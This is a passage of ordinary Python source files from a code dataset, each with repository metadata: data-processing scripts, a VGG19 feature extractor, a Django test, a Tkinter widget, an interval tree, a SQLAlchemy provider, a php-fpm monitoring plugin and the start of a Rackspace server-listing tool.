log.info(\"Compressed %s\", f_out)\n yield dst\n file.unlink()\n\n\ndef decompress_gzip(*files: Union[Path, str]) -> Iterator[Path]:\n for file in map(Path, files):\n tmp = Path(tempfile.mkdtemp())\n dst = tmp.joinpath(file.stem).with_suffix(\".txt\")\n with gzip.open(file) as f:\n dst.write_bytes(f.read())\n yield dst\n\n\ndef process_txt(*files: Union[Path, str]) -> Iterator[Path]:\n for file in map(Path, files):\n dst = (\n settings.staging.joinpath(file.parent.parent.name)\n .joinpath(file.parent.name)\n .joinpath(file.name)\n .with_suffix(\".csv\")\n )\n dst.parent.mkdir(parents=True, exist_ok=True)\n fields = get_fields(file.stem)\n csv.field_size_limit(get_field_size_limit(file.stem))\n if not dst.exists():\n with file.open(encoding=\"iso-8859-1\", newline=\"\") as f_in:\n reader = csv.DictReader(\n f_in, fieldnames=fields, dialect=\"excel-tab\"\n )\n\n with dst.open(\"w+\") as f_out:\n writer = csv.DictWriter(f_out, fieldnames=fields)\n writer.writeheader()\n try:\n for row in reader:\n writer.writerow(row)\n except csv.Error as csv_error:\n log.error(csv_error)\n yield dst\n file.unlink()\n","sub_path":"hcad/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"69696632","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\nfrom keras.applications import VGG19\nfrom keras import layers, models\nfrom keras.models import Model\nimport cv2\nimport sys\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport h5py\nimport pandas as pd\n\n\ndef import_image(image,\n image_directory,\n resize_dims):\n \n \"\"\"\n load image, change from bgr to rgb, resize dimensions, normalize pixel values\n input: \n image: a jpg image\n resize_dims: dimensions to resize (downsample) image to\n output: \n image processed for neural net\n \"\"\"\n \n image_bgr = cv2.imread(image_directory+image, cv2.IMREAD_COLOR)\n image_rgb = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\n image_resize = cv2.resize(image_rgb, resize_dims)\n img = np.expand_dims(image_resize, 0)\n return img / 255.0\n\n\n\n\n\n\ndef load_images_to_h5(input_dims, image_directory, destination_file, n=None):\n \"\"\"\n Process images from directory into h5py file\n \n Inputs:\n input_dims: dimensions of individual imagges\n image_list_csv: csv file with list of image file names as the index vector\n destination file: name of h5 file to be created\n n: # images to load in \n \"\"\"\n \n if os.path.exists(destination_file): os.remove(destination_file)\n \n if n == None:\n n = len(os.listdir(image_directory))\n \n with h5py.File(destination_file, \"w\") as images_h5py:\n img_file_dims = (n, input_dims[0], input_dims[1], input_dims[2])\n images_file = images_h5py.create_dataset(\"img_data\",\n img_file_dims,\n dtype=np.float64)\n\n for i, image in enumerate(os.listdir(image_directory)[:n]):\n a = np.expand_dims(import_image(image,\n image_directory=image_directory+\"/\",\n resize_dims=(input_dims[1],input_dims[0])),\n 0)\n images_file[i] = a\n\n images_h5py.close()\n \n \n\n\n\n\n\n\ndef get_vgg_deep_features(vgg_input_dims,\n h5py_file_dest):\n \n \"\"\"\n Extract image arrays from h5 file. Import VGG model and construct new model using final\n 3 convolutional layer outputs of VGG model as combined output for new model. Process\n image arrays through new model to generate deep feature vectors to represent images.\n Save to h5 file.\n \n Inputs:\n vgg_input_dims: expected input dimensions for vgg model\n h5py_file_dest: h5 file location and name\n \"\"\"\n \n \n \n with h5py.File(h5py_file_dest, \"a\") as images_h5py:\n train_images = images_h5py[\"img_data\"].value.astype(np.float64)\n vgg = VGG19(weights='imagenet',\n include_top=False,\n input_shape=vgg_input_dims)\n\n vgg_output_layers = ['block3_conv1','block4_conv1','block5_conv1']\n vgg_conv_output = [vgg.get_layer(layer).output for layer in vgg_output_layers]\n my_model = Model(input=vgg.input, output=vgg_conv_output)\n\n deep_features = my_model.predict(train_images)\n for i in np.arange(len(deep_features)):\n images_h5py.create_dataset(\"img_deep_features_%s\" % str(i), data=deep_features[i])\n images_h5py.close()\n \n \ndef main():\n \"\"\"Main entry point for script\"\"\"\n load_images_to_h5(input_dims=(220, 176, 3),\n image_directory='data/final_images_train',\n destination_file=\"data/images_train.h5\",\n n=None)\n get_vgg_deep_features(vgg_input_dims=(220, 176, 3),\n h5py_file_dest=\"data/images_train.h5\")\n \n \n \nif __name__ == '__main__':\n sys.exit(main())\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"src/generate_image_data_script.py","file_name":"generate_image_data_script.py","file_ext":"py","file_size_in_byte":3834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"345542921","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# __author__ = 'TesterCC'\n# __time__ = '17/10/24 01:36'\n\nfrom django.test import TestCase\n\n\nclass IndexPageTest(TestCase):\n '''\n 测试index登录页面\n '''\n\n# python manage.py test sign.tests.IndexPageTest.test_index_page_renders_index_template P105\n\n def test_index_page_renders_index_template(self):\n '''\n 测试index视图\n '''\n response = self.client.get('/index/')\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, 'index.html') # 断言是否用给定的模版响应","sub_path":"tests/unit_testcase/testIndexPage.py","file_name":"testIndexPage.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"66108839","text":"from tkinter import *\nimport tkinter.ttk as ttk\n\nimport resources\n\nclass Do_images():\n def __init__(self):\n self.do_ins = PhotoImage(data=resources.ICO_DO_INS)\n self.do_up = PhotoImage(data=resources.ICO_DO_UP)\n self.do_dn = PhotoImage(data=resources.ICO_DO_DN)\n self.do_dup = PhotoImage(data=resources.ICO_DO_DUP)\n self.do_del = PhotoImage(data=resources.ICO_DO_DEL)\n\nicons = None\n\n\nclass DynamicGrid(LabelFrame):\n def __init__(self, *args, **kwargs):\n self.with_ctrl = 0\n if 'controls' in kwargs.keys(): self.with_ctrl = kwargs.pop('controls')\n LabelFrame.__init__(self, *args, **kwargs)\n self.caption_text = kwargs['text'] if 'text' in kwargs.keys() else ''\n #widgets\n if self.with_ctrl == 1:\n global icons\n if icons is None: icons = Do_images()\n ctrl_frame = Frame(master = self)\n # buttons\n btn_frame = Frame(master = ctrl_frame)\n self._b_dup = Button(master = btn_frame, image = icons.do_dup, relief = 'flat',\n cursor = 'hand2', takefocus = 0,\n state = DISABLED, command = self._dup_handler)\n self._b_dup.grid(column = 0, row = 0, stick=\"nsew\", padx = (3,0))\n self._b_del = Button(master = btn_frame, image = icons.do_del, relief = 'flat',\n cursor = 'hand2', takefocus = 0,\n state = DISABLED, command = self._del_handler)\n self._b_del.grid(column = 1, row = 0, stick=\"nsew\")\n self._b_up = Button(master = btn_frame, image = icons.do_up, relief = 'flat',\n cursor = 'hand2', takefocus = 0,\n state = DISABLED, command = self._up_handler)\n self._b_up.grid(column = 2, row = 0, stick=\"nsew\")\n self._b_dn = Button(master = btn_frame, image = icons.do_dn, relief = 'flat',\n cursor = 'hand2', takefocus = 0,\n state = DISABLED, command = self._dn_handler)\n self._b_dn.grid(column = 3, row = 0, stick=\"nsew\")\n btn_frame.grid(column = 0, row = 0, columnspan = 6, stick=\"nsw\")\n # labels\n Label(master = ctrl_frame, bg = 'white', text = 'DO name', width = 15, state = DISABLED).\\\n grid(column = 0, row = 2, stick=\"nsew\")\n Label(master = ctrl_frame, bg = 'white', text = 'CDC', width = 16, state = DISABLED).\\\n grid(column = 1, row = 2, stick=\"nsew\")\n Label(master = ctrl_frame, bg = 'white', text = 'Type', width = 16, state = DISABLED).\\\n grid(column = 2, row = 2, stick=\"nsew\")\n Label(master = ctrl_frame, bg = 'white', text = 'Process', width = 16, state = DISABLED).\\\n grid(column = 3, row = 2, stick=\"nsew\")\n Label(master = ctrl_frame, bg = 'white', text = 'Namespace', width = 18, state = DISABLED).\\\n grid(column = 4, row = 2, stick=\"nsew\")\n Label(master = ctrl_frame, bg = 'white', text = 'PresCond', width = 9, state = DISABLED).\\\n grid(column = 5, row = 2, stick=\"nsew\")\n ttk.Separator(master = ctrl_frame, orient = HORIZONTAL)\\\n .grid(column = 0, row = 1, columnspan = 6, stick = 'nsew', pady = 0)\n ttk.Separator(master = ctrl_frame, orient = HORIZONTAL)\\\n .grid(column = 0, row = 3, columnspan = 6, stick = 'nsew', pady = (0,3))\n\n #placement\n ctrl_frame.pack(side=TOP, fill=X)\n\n if self.with_ctrl == 2:\n ctrl_frame = Frame(master = self)\n # labels\n Label(master = ctrl_frame, bg = 'white', text = 'fc', width = 3, state = DISABLED).\\\n grid(column = 0, row = 2, stick=\"nsew\")\n Label(master = ctrl_frame, bg = 'white', text = 'data attribute', width = 20, state = DISABLED).\\\n grid(column = 1, row = 2, stick=\"nsew\")\n Label(master = ctrl_frame, bg = 'white', text = 'valKind', width = 8, state = DISABLED).\\\n grid(column = 2, row = 2, stick=\"nsew\")\n Label(master = ctrl_frame, bg = 'white', text = 'value', width = 15, state = DISABLED).\\\n grid(column = 3, row = 2, stick=\"nsew\")\n Label(master = ctrl_frame, bg = 'white', text = 'descriptions', width = 45, state = DISABLED).\\\n grid(column = 4, row = 2, stick=\"nsew\")\n ttk.Separator(master = ctrl_frame, orient = HORIZONTAL)\\\n .grid(column = 0, row = 1, columnspan = 5, stick = 'nsew', pady = 0)\n ttk.Separator(master = ctrl_frame, orient = HORIZONTAL)\\\n .grid(column = 0, row = 3, columnspan = 5, stick = 'nsew', pady = (0,3))\n #placement\n ctrl_frame.pack(side=TOP, fill=X)\n \n \n vsb = Scrollbar(self, orient=VERTICAL)\n vsb.pack(side=RIGHT, fill=Y)\n self.text = Text(self, bg = 'SystemButtonFace', selectbackground = 'SystemButtonFace',\n wrap='char', borderwidth=0, highlightthickness=0,\n exportselection=0, takefocus=0,\n cursor = 'arrow',\n yscrollcommand = vsb.set,\n state=DISABLED)\n vsb['command'] = self.text.yview \n self.text.pack(side = LEFT, fill=BOTH, expand=True)\n #vars\n self.data_object = None\n self.focused_frame = None\n self._int_conf = False\n\n def configure(self, **kw):\n if not self._int_conf:\n if 'text' in kw.keys():\n self.caption_text = kw['text']\n if len(self.text.window_names()):\n kw.update({'text': '[%s] %s' % (len(self.text.window_names()),\n self.caption_text)})\n self._int_conf = False\n super().configure(kw)\n\n\n def _update_caption(self):\n self._int_conf = True\n self.configure(text = '[%s] %s' % (len(self.text.window_names()),\n self.caption_text))\n\n def add_frame(self, frame, pos = END, cr=False):\n self.text.configure(state=NORMAL)\n self.text.window_create(pos, window=frame)\n if cr: self.text.insert(pos, '\\n')\n # bindings\n frame.bind('',self._focus_frame)\n frame.bind('<>', lambda event: self.event_generate('<>'))\n frame.bind('<>', lambda event: self.event_generate('<>'))\n \n self.text.configure(state=DISABLED)\n self._update_caption()\n\n def finalize(self):\n self.text.configure(state=NORMAL)\n self.text.insert(END,'\\n\\n\\n')\n self.text.configure(state=DISABLED)\n\n def clear(self):\n self.text.configure(state=NORMAL)\n self.text.delete('1.0',END)\n self.text.configure(state=DISABLED)\n if self.with_ctrl == 1:\n self._b_dup.configure(state = DISABLED)\n self._b_del.configure(state = DISABLED)\n self._b_up.configure(state = DISABLED)\n self._b_dn.configure(state = DISABLED)\n self._int_conf = True\n self.data_object = None\n self.focused_frame = None\n self.configure(text = self.caption_text)\n\n def _focus_frame(self, event):\n self.focused_frame = event.widget\n self.data_object = event.widget.data_object\n if self.with_ctrl == 1:\n self._b_dup.configure(state = NORMAL)\n self._b_del.configure(state = NORMAL)\n self._b_up.configure(state = NORMAL)\n self._b_dn.configure(state = NORMAL)\n self.event_generate('<>')\n\n def _dup_handler(self):\n self.event_generate('<>')\n w, pos = self.focused_frame.get_new()\n self.add_frame(w, '1.' + str(pos))\n if len(self.text.window_names())-1 == pos:\n self.text.see(END) # fix for scroll to last position\n else: self.text.see('1.' + str(pos+1))\n w.focus_set()\n self.event_generate('<>')\n\n def _del_handler(self):\n if not self.focused_frame.exec_del():\n self.bell()\n return\n self.text.configure(state=NORMAL)\n self.text.delete(self.focused_frame)\n self.text.configure(state=DISABLED)\n self._update_caption()\n self.data_object = None\n self.focused_frame = None\n if self.with_ctrl == 1:\n self._b_dup.configure(state = DISABLED)\n self._b_del.configure(state = DISABLED)\n self._b_up.configure(state = DISABLED)\n self._b_dn.configure(state = DISABLED)\n self.event_generate('<>')\n\n def _up_handler(self):\n if not self.focused_frame.exec_up():\n self.bell()\n return\n pos = '1.' + str(int(self.text.index(self.focused_frame).split('.')[1]) - 1)\n w = self.focused_frame.get_clone()\n self.add_frame(w, pos)\n self.text.configure(state=NORMAL)\n self.text.delete(self.focused_frame)\n self.text.configure(state=DISABLED)\n self.text.see(pos)\n w.focus_set()\n\n def _dn_handler(self):\n if not self.focused_frame.exec_dn():\n self.bell()\n return\n pos = int(self.text.index(self.focused_frame).split('.')[1]) + 2\n w = self.focused_frame.get_clone()\n self.add_frame(w, '1.' + str(pos))\n self.text.configure(state=NORMAL)\n self.text.delete(self.focused_frame)\n self.text.configure(state=DISABLED)\n if len(self.text.window_names()) == pos:\n self.text.see(END) # fix for scroll to last position\n else: self.text.see('1.' + str(pos+1))\n w.focus_set()\n \n \n","sub_path":"dynamic_grid.py","file_name":"dynamic_grid.py","file_ext":"py","file_size_in_byte":10052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"136854890","text":"import pandas as pd\nimport numpy as np\nimport os\n\nyear1 = [\"1996\", \"1997\", \"1998\", \"1999\", \"2000\", \"2001\", \"2002\", \"2003\", \"2004\", \"2005\", \"2006\", \"2007\", \"2008\", \"2009\", \"2010\",\n \"2011\", \"2012\", \"2013\", \"2014\", \"2015\", \"2016\" ]\nyear2 = [\"97\", \"98\", \"99\", \"00\", \"01\", \"02\", \"03\", \"04\", \"05\", \"06\", \"07\", \"08\", \"09\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\" ]\n\nseason = []\nfor i in range(21):\n season.append(year1[i] + \"-\" + year2[i])\n\ndef mergeData(season):\n df = []\n kind = [\"traditional\", \"advanced\", \"defense\", \"misc\", \"usage\"]\n for i in kind:\n temp = pd.read_csv(season + i + \".csv\")\n temp = temp.iloc[:, 1:]\n\n if i == \"traditional\":\n del temp[\"STL\"]\n del temp[\"BLK\"]\n del temp[\"PF\"]\n elif i == \"advanced\":\n del temp[\"MIN\"]\n elif i == \"defense\":\n del temp[\"%DREB\"]\n del temp[\"DREB%\"]\n del temp[\"DREB\"]\n del temp[\"BLK\"]\n del temp[\"MIN\"]\n elif i == \"misc\":\n del temp[\"MIN\"]\n elif i == \"usage\":\n del temp[\"%BLK\"]\n del temp[\"USG%\"]\n del temp[\"MIN\"]\n\n df.append(temp)\n\n df[2].rename(columns={\"Player\": \"PLAYER\"}, inplace=True)\n df[3].rename(columns={\"Player\": \"PLAYER\"}, inplace=True)\n df[4].rename(columns={\"Player\": \"PLAYER\"}, inplace=True)\n\n data = df[0]\n for i in [1, 2, 3, 4]:\n data = pd.merge(data, df[i], on=[\"PLAYER\", \"TEAM\", \"AGE\", \"GP\", \"W\", \"L\"])\n\n data.columns = [u'PLAYER', u'TEAM', u'AGE', u'GP', u'W', u'L', u'MIN', u'PTS', u'FGM',\n u'FGA', u'FG%', u'3PM', u'3PA', u'3P%', u'FTM', u'FTA', u'FT%', u'OREB',\n u'DREB', u'REB', u'AST', u'TOV', u'DD2', u'TD3', u'+/-', u'OFFRTG',\n u'DEFRTG', u'NETRTG', u'AST%', u'AST/TO', u'AST Ratio', u'OREB%',\n u'DREB%', u'REB%', u'TO Ratio', u'eFG%', u'TS%', u'USG%', u'PACE',\n u'PIE', u'DEF RTG', u'STL', u'STL%', u'%BLK', u'OPP PTSOFF TOV',\n u'OPP PTS2ND CHANCE', u'OPP PTSFB', u'OPP PTSPAINT', u'DEFWS',\n u'PTSOFF TO', u'2ndPTS', u'FBPs', u'PITP', u'OppPTS OFF TO',\n u'Opp2nd PTS', u'OppFBPs', u'OppPITP', u'BLK', u'BLKA', u'PF', u'PFD',\n u'%FGM', u'%FGA', u'%3PM', u'%3PA', u'%FTM', u'%FTA', u'%OREB',\n u'%DREB', u'%REB', u'%AST', u'%TOV', u'%STL', u'%BLKA', u'%PF', u'%PFD',\n u'%PTS']\n\n col = [\"PLAYER\", \"TEAM\", \"AGE\", \"GP\", \"W\", \"L\", \"MIN\", \"PTS\", \"%PTS\", 'FGM', \"%FGM\", 'FGA', \"%FGA\", 'FG%',\n '3PM', \"%3PM\", '3PA', \"%3PA\", '3P%', 'FTM', \"%FTM\", 'FTA', \"%FTA\", 'FT%', \"eFG%\", \"TS%\",\n 'OREB', 'OREB%', '%OREB', 'DREB', 'DREB%', '%DREB', 'REB', 'REB%', \"%REB\",\n \"AST\", \"AST%\", \"%AST\", \"AST/TO\", 'AST Ratio', \"TOV\", \"%TOV\", \"STL\", \"STL%\", \"%STL\",\n \"BLK\", \"%BLK\", \"BLKA\", \"%BLKA\", \"PF\", \"%PF\", \"PFD\", \"%PFD\",\n 'DD2', 'TD3', '+/-', 'OFFRTG', 'DEFRTG', 'NETRTG', 'TO Ratio', 'USG%', 'PACE', 'PIE',\n 'OPP PTSOFF TOV', 'OPP PTS2ND CHANCE', 'OPP PTSFB', 'OPP PTSPAINT', 'DEFWS',\n 'PTSOFF TO', '2ndPTS', 'FBPs', 'PITP', 'OppPTS OFF TO', 'Opp2nd PTS', 'OppFBPs', 'OppPITP']\n\n data = data[col]\n\n print(\"----------------------------------------------\")\n print(\" merge \" + season + \" data complete ! \")\n print(\" \", data.shape, \" \")\n print(\"----------------------------------------------\")\n\n os.chdir(os.getcwd()+\"/mergedata\")\n data.to_csv(season + \".csv\")\n\n\npwd = os.getcwd()\nfor i in season:\n mergeData(i)\n os.chdir(pwd)","sub_path":"befor_presentaion/merge_data.py","file_name":"merge_data.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"142313","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom infinitewindow import *\nfrom primitives import *\nfrom math import *\nimport copy\n\nclass HorizontalIntervalNode:\n def __init__(self,p=None,l=None,r=None):\n self.point = p\n self.l = l\n self.r = r\n self.L1 = None\n self.L2 = None\n\nclass HorizontalIntervalTree:\n def __init__(self,s):\n self.root = self.buildTree(sorted(s,key = lambda a : a.beg))\n\n def buildTree(self,s):\n n = len(s)\n\n if n > 0:\n v = HorizontalIntervalNode()\n l = [] \n r = []\n l1 = []\n l2 = []\n\n v.point = s[n//2].beg\n\n i = 0\n\n while i < n and s[i].beg <= v.point:\n if s[i].end < v.point:\n l.append(s[i])\n else:\n l1.append(s[i])\n l2.append(s[i])\n i+=1\n\n while i < n:\n r.append(s[i])\n i+=1\n\n\n aux = []\n for lft in l1:\n aux.append(Point(lft.beg.x,lft.beg.y,lft))\n \n v.L1 = minPrioritySearchTree(aux)\n\n aux = []\n\n for lft in l2:\n aux.append(Point(lft.end.x,lft.end.y,lft))\n\n v.L2 = maxPrioritySearchTree(aux)\n\n v.l = self.buildTree(l)\n v.r = self.buildTree(r)\n\n else:\n v = None\n\n return v\n\n def query(self,seg):\n return self.query_r(self.root,seg)\n\n def query_r(self,v,seg):\n l = []\n w1,w2 = seg\n x = w1.x\n y = w1.y\n y2 = w2.y\n\n if v is not None:\n if x > v.point.x:\n rng = (Point(x,y),Point(inf,y2))\n l = v.L2.query(rng)\n l += self.query_r(v.r,seg)\n else:\n rng = (Point(-inf,y),Point(x,y2))\n l = v.L1.query(rng)\n l += self.query_r(v.l,seg)\n\n return l\n","sub_path":"src/alexis/geocomp/ors/horizontalsegments.py","file_name":"horizontalsegments.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"310140643","text":"\"\"\" sqlalchemy.\n\nnon-async SQL Alchemy Provider.\nNotes on sqlalchemy Provider\n--------------------\nThis provider implements a basic set of funcionalities from SQLAlchemy core\n\"\"\"\n\nimport asyncio\nimport time\n\nfrom psycopg2.extras import NamedTupleCursor\nfrom sqlalchemy import create_engine, select\nfrom sqlalchemy.dialects import mysql, postgresql\nfrom sqlalchemy.exc import (\n DatabaseError,\n OperationalError,\n SQLAlchemyError,\n)\nfrom sqlalchemy.pool import NullPool\n\nfrom asyncdb.exceptions import (\n ConnectionTimeout,\n DataError,\n EmptyStatement,\n NoDataFound,\n ProviderError,\n StatementError,\n TooManyConnections,\n)\nfrom asyncdb.providers import (\n BaseProvider,\n registerProvider,\n)\n\n\nclass sql_alchemy(BaseProvider):\n _provider = \"sqlalchemy\"\n _syntax = \"sql\"\n _test_query = \"SELECT 1\"\n _dsn = \"{driver}://{user}:{password}@{host}:{port}/{database}\"\n _loop = None\n _pool = None\n # _engine = None\n _connection = None\n _connected = False\n _initialized_on = None\n _engine = None\n _engine_options = {\n \"connect_args\": {\"connect_timeout\": 360},\n \"isolation_level\": \"AUTOCOMMIT\",\n \"echo\": False,\n \"encoding\": \"utf8\",\n \"implicit_returning\": True,\n }\n _transaction = None\n\n def __init__(self, dsn=\"\", loop=None, params={}, **kwargs):\n if params:\n try:\n if not params[\"driver\"]:\n params[\"driver\"] = \"postgresql\"\n except KeyError:\n params[\"driver\"] = \"postgresql\"\n super(sql_alchemy, self).__init__(dsn, loop, params, **kwargs)\n asyncio.set_event_loop(self._loop)\n if kwargs:\n self._engine_options = {**self._engine_options, **kwargs}\n self.set_engine()\n\n def engine(self):\n return self._engine\n\n def set_engine(self):\n self._connection = None\n try:\n self._engine = create_engine(self._dsn, **self._engine_options)\n except (SQLAlchemyError, OperationalError) as err:\n self._connection = None\n raise ProviderError(\"Connection Error: {}\".format(str(err)))\n except Exception as err:\n self._connection = None\n raise ProviderError(\"Engine Error, Terminated: {}\".format(str(err)))\n finally:\n return self\n\n def __del__(self):\n self.close()\n del self._connection\n del self._engine\n\n def close(self):\n if self._connection:\n self._connection.close()\n self._logger.info(\"Closing Connection: {}\".format(self._engine))\n self._engine.dispose()\n\n def terminate(self):\n self.close()\n\n def release(self):\n if self._connection:\n try:\n if not self._connection.closed:\n self._connection.close()\n except Exception as err:\n self._connection = None\n raise ProviderError(\"Engine Error, Terminated: {}\".format(str(err)))\n finally:\n self._connection = None\n return True\n\n def connection(self):\n \"\"\"\n Get a connection\n \"\"\"\n self._logger.info(\"SQLAlchemy: Connecting to {}\".format(self._dsn))\n self._connection = None\n self._connected = False\n try:\n if self._engine:\n self._connection = self._engine.connect()\n self._connected = True\n except (SQLAlchemyError, DatabaseError, OperationalError) as err:\n self._connection = None\n print(err)\n raise ProviderError(\"Connection Error: {}\".format(str(err)))\n except Exception as err:\n print(err)\n self._connection = None\n raise ProviderError(\"Engine Error, Terminated: {}\".format(str(err)))\n finally:\n return self\n\n def prepare(self, sentence=\"\"):\n \"\"\"\n Preparing a sentence\n \"\"\"\n error = None\n raise NotImplementedError()\n\n def test_connection(self):\n \"\"\"\n Test Connnection\n \"\"\"\n error = None\n row = {}\n if self._test_query is None:\n raise NotImplementedError()\n if not self._connection:\n self.connection()\n try:\n result = self._connection.execute(self._test_query)\n row = result.fetchone()\n if row:\n row = dict(row)\n if error:\n self._logger.info(\"Test Error: {}\".format(error))\n except Exception as err:\n error = str(err)\n raise ProviderError(message=str(err), code=0)\n finally:\n return [row, error]\n\n def query(self, sentence):\n \"\"\"\n Running Query\n \"\"\"\n error = None\n if not self._connection:\n self.connection()\n try:\n self._logger.info(\"Running Query {}\".format(sentence))\n result = self._connection.execute(sentence)\n if result:\n rows = result.fetchall()\n self._result = [dict(zip(row.keys(), row)) for row in rows]\n except (DatabaseError, OperationalError) as err:\n error = \"Query Error: {}\".format(str(err))\n raise ProviderError(error)\n except Exception as err:\n error = \"Query Error, Terminated: {}\".format(str(err))\n raise ProviderError(error)\n finally:\n return [self._result, error]\n\n def queryrow(self, sentence=\"\"):\n \"\"\"\n Running Query and return only one row\n \"\"\"\n error = None\n if not self._connection:\n self.connection()\n try:\n self._logger.debug(\"Running Query {}\".format(sentence))\n result = self._connection.execute(sentence)\n if result:\n row = result.fetchone()\n self._result = dict(zip(row.keys(), row))\n except (DatabaseError, OperationalError) as err:\n error = \"Query Row Error: {}\".format(str(err))\n raise ProviderError(error)\n except Exception as err:\n error = \"Query Row Error, Terminated: {}\".format(str(err))\n raise ProviderError(error)\n finally:\n return [self._result, error]\n\n def execute(self, sentence):\n \"\"\"Execute a transaction\n get a SQL sentence and execute\n returns: results of the execution\n \"\"\"\n error = None\n if not self._connection:\n self.connection()\n try:\n self._logger.debug(\"Execute Sentence {}\".format(sentence))\n result = self._connection.execute(sentence)\n self._result = result\n except (DatabaseError, OperationalError) as err:\n error = \"Execute Error: {}\".format(str(err))\n raise ProviderError(error)\n except Exception as err:\n error = \"Exception Error on Execute: {}\".format(str(err))\n raise ProviderError(error)\n finally:\n return [self._result, error]\n\n \"\"\"\n Transaction Context\n \"\"\"\n\n def transaction(self):\n if not self._connection:\n self.connection()\n self._transaction = self._connection.begin()\n return self\n\n def commit(self):\n if self._transaction:\n self._transaction.commit()\n\n def rollback(self):\n if self._transaction:\n self._transaction.rollback()\n\n def close_transaction(self):\n if self._transaction:\n try:\n self._transaction.commit()\n self._transaction.close()\n except (SQLAlchemyError, DatabaseError, OperationalError) as err:\n print(err)\n error = \"Exception Error on Transaction: {}\".format(str(err))\n raise ProviderError(error)\n\n \"\"\"\n Context magic Methods\n \"\"\"\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc, tb):\n if self._transaction:\n self.close_transaction()\n self.release()\n\n\n\"\"\"\nRegistering this Provider\n\"\"\"\nregisterProvider(sql_alchemy)\n","sub_path":"asyncdb/providers/sql_alchemy.py","file_name":"sql_alchemy.py","file_ext":"py","file_size_in_byte":8135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"192782449","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport urllib2\nimport time\nimport plugins\nimport json\n\n\nclass Plugin(plugins.BasePlugin):\n __name__ = 'phpfpm'\n\n def run(self, config):\n '''\n php-fpm status page metrics\n '''\n def ascii_encode_dict(data):\n ascii_encode = lambda x: x.encode('ascii') if isinstance(x, unicode) else x\n return dict(map(ascii_encode, pair) for pair in data.items())\n\n results = dict()\n next_cache = dict()\n request = urllib2.Request(config.get('phpfpm', 'status_page_url'))\n raw_response = urllib2.urlopen(request)\n next_cache['ts'] = time.time()\n prev_cache = self.get_agent_cache() # Get absolute values from previous check\n\n try:\n j = json.loads(raw_response.read(), object_hook=ascii_encode_dict)\n\n for k, v in j.items():\n results[k.replace(\" \", \"_\")] = v\n\n next_cache['accepted_conn'] = int(results['accepted_conn'])\n except Exception:\n return False\n\n try:\n if next_cache['accepted_conn'] >= prev_cache['accepted_conn']:\n results['accepted_conn_per_second'] = \\\n (next_cache['accepted_conn'] - prev_cache['accepted_conn']) / \\\n (next_cache['ts'] - prev_cache['ts'])\n else: # Was restarted after previous caching\n results['accepted_conn_per_second'] = \\\n next_cache['accepted_conn'] / \\\n (next_cache['ts'] - prev_cache['ts'])\n except KeyError: # No cache yet, can't calculate\n results['accepted_conn_per_second'] = 0.0\n\n # Cache absolute values for next check calculations\n self.set_agent_cache(next_cache)\n\n return results\n\n\nif __name__ == '__main__':\n Plugin().execute()\n","sub_path":"nixstatsagent/plugins/phpfpm.py","file_name":"phpfpm.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"211385876","text":"#!/usr/bin/env python\n\"\"\"\nA CLI tool to list long running Rackspace Cloud servers.\n\nDependencies:\n This script uses several 3rd party Python modules. You should install\n them in a virtualenv with the following command:\n\n .. code:: shell\n\n $ pip install eventlet humanize iso8601 requests tabulate\n\nNote:\n - Authentication requires a Rackspace username and a Rackspace API key. In\n order to avoid hardcoding credentials in this file, users can pass the\n CLI arguments `--rax-username` and `--rax-api-key`. Alternatively, the\n environement variables `RAX_USERNAME` and `RAX_API_KEY` can be set and\n will be read by the program. This is the safest option because CLI\n arguments can be read by any users (e.g with the `ps aux` command) on a\n system.\n`\nHacking:\n - Please run pep8 and pylint\n\nTODO:\n - Send HipChat Notification\n\"\"\"\n\nimport argparse\nimport datetime\nimport functools\nimport logging\nimport os\nimport ssl\nimport sys\n\nimport eventlet\nimport humanize\nimport iso8601\nimport requests\nimport tabulate\n\neventlet.monkey_patch()\n\nOS_AUTH_URL = 'https://identity.api.rackspacecloud.com/v2.0'\nTOKEN_ID = None\n\nEXC_TO_RETRY = (requests.exceptions.ConnectionError,\n requests.exceptions.ReadTimeout,\n ssl.SSLError)\n\n# This mapping is used because listing all users in an organization\n# requires to be \"admin\" and we want this script to be usable by \"simple\"\n# users.\n# NOTE(Admin): update this mapping each time a new Rackspace user is created.\nUSERID_TO_USERNAME = {\n '6d10dce340f941d7b5f62bdfabf690fc': 'jordan.pittier',\n}\n\n\n# From Russell Heilling: http://stackoverflow.com/a/10551190\nclass EnvDefault(argparse.Action): # pylint: disable=R0903\n\n def __init__(self, envvar, required=True, default=None, **kwargs):\n # Overriding default with environment variable if available\n if envvar in os.environ:\n default = os.environ[envvar]\n if required and default:\n required = False\n super(EnvDefault, self).__init__(default=default, required=required,\n **kwargs)\n\n def __call__(self, parser, namespace, values, option_string=None):\n setattr(namespace, self.dest, values)\n\n\ndef retry(excs, max_attempts=3):\n \"\"\"Decorator to retry a function call if it raised a given exception.\n\n Args:\n excs: an exception or a tuple of exceptions\n max_attempts (int): the maximum number of times the function call\n should be retried.\n \"\"\"\n def decorate(func):\n 